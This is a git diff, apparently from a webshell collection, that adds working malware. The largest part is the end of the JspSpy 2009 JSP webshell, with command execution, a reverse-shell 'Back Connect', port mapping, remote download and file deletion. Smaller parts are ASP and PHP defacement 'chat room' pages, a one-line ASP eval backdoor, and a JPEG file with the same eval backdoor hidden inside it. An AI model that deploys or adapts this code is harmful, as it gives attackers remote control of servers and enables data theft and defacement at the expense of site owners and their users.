    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
    "+ +"
    "+ +"

    Execute Program »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "+ +"

    Execute Shell »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

    "); +out.println("
    ");
    +String command = request.getParameter("command");
    +if (!Util.isEmpty(command)) {
    +Process pro = Runtime.getRuntime().exec(command);
    +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    +String s = reader.readLine();
    +while (s != null) {
    +out.println(Util.htmlEncode(Util.getStr(s)));
    +s = reader.readLine();
    +}
    +reader.close();
    +out.println("
    "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
    "+ +"
    "+ +"

    Remote File DownLoad »

    "+ +"

    "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    PortMap >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

    "+ +" "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    Back Connect >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

    "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

    System Properties >>

    "+ +"
    "+ +"
    "+ +"
      "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
    • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
    • "); +} +out.println("

    System Environment >>


      "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
    • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
    • "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
    Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
    "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "); +out.println("

    Shell OnLine »


    "); +out.println("
    "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
    "+ +"
    "+ +" "+ +"
    "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
    "+ +" " +); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//????????? +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
    "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> diff --git a/net-friend/ChatRoom/鑿婅姳鑱婂ぉ瀹.asp b/net-friend/ChatRoom/鑿婅姳鑱婂ぉ瀹.asp new file mode 100644 index 0000000..5d600f3 --- /dev/null +++ b/net-friend/ChatRoom/鑿婅姳鑱婂ぉ瀹.asp @@ -0,0 +1,51 @@ + + + +<%@ LANGUAGE = VBScript %> +<% +server.scripttimeout=120 +response.buffer = true +on error resume next +tm = now +ff = Request.ServerVariables("SCRIPT_NAME") + +uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") +If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR") +uip=split(uip,".",-1,1) +ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*" + +data = left(replace(trim(request.form("what")),"说点什么吧",""),200) + +if data<>"" then +data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"http://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""") +data = replace(data,"[img]","") +txt = "
    "&data&"

    IP为"&ipx&"的童鞋 >>> Fucked at:"&tm&"

    " +Set Fs=Server.CreateObject("Scripting.FileSystemObject") +Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase) +File.Writeline txt +File.Close +response.write "" +end if +%> + + +Chinese Hackers' Chating Room + + +
    +Hacked! Owned by Chinese Hackers!
    +

    菊花聊天室

    +
    +
    +

    插入图片

    + +

    Chating Room is Powered By Silic Group Hacker Army©2009-2011

    + +
    +
    diff --git a/net-friend/ChatRoom/鑿婅姳鑱婂ぉ瀹.php b/net-friend/ChatRoom/鑿婅姳鑱婂ぉ瀹.php new file mode 100644 index 0000000..5029e01 --- /dev/null +++ b/net-friend/ChatRoom/鑿婅姳鑱婂ぉ瀹.php @@ -0,0 +1,41 @@ + + + +','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data); +$data = str_replace(array('[img]','[/img]'),array(''),$data); +$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']); +$time = date("Y-m-d G:i:s A"); +$text = "
    ".$data."

    IP为".$ip."的童鞋 >>> Fucked at:".$time."

    "; +$file = fopen(__FILE__,'a'); +fwrite($file,$text); +fclose($file); +echo ""; +} +?> + + +Chinese Hackers' Chating Room + + +
    +Hacked! Owned by Chinese Hackers!
    +

    菊花聊天室

    +
    +
    +

    插入图片

    + +

    Chating Room is Powered By Silic Group Hacker Army©2009-2011

    + +
    +
    diff --git a/net-friend/asp/01.asp b/net-friend/asp/01.asp new file mode 100644 index 0000000..99f2a64 --- /dev/null +++ b/net-friend/asp/01.asp @@ -0,0 +1 @@ +<%eval request("pass")%> \ No newline at end of file diff --git a/net-friend/asp/1.asp b/net-friend/asp/1.asp new file mode 100644 index 0000000..2980f44 --- /dev/null +++ b/net-friend/asp/1.asp @@ -0,0 +1,289 @@ +?? JFIF  ` ` ? "Exif II*   Q  ? C   +   $.' ",#(7),01444'9=82<.342? C  2!!22222222222222222222222222222222222222222222222222? <%eval request("pass")%>?   O" ?    + ? ?  } !1AQa"q2亼?#B绷R佯$3br? +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼??    + ? ?  w !1AQaq"2?B憽绷 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬?   ? 鼹+偤鴼癹宗}繃?瞥櫋戫譸?g帣舘鴆艝^(嗋叟=脚?炥u隈摐~食峏I?伯J煷渢鵸剞獥煡琈╛[Z?  g??F漽癀R\┻S懧\巌h縌鯺1?|p烴掙v雏T俄c?RC雬=箝S?鴫?{[芛l.!y??p@?料SFB智O毖韚-j率u=A?#<碴2O?u儮俭聻.蔗餱?贲呠谐鄥N??d彉⊿餃鳙鷒腦ua核铭员墊aBd欢k浍蜓?Rzψ躾饀闟鰬帪我娽?塒Z蟱kk^蟬 泌D嶄^?筹噎?;媄?疫K欢?飾qB坴绋l懬V*?邓朷墠?h悝倔動阏漶強 颤Ei?~轥港欛岤s+ 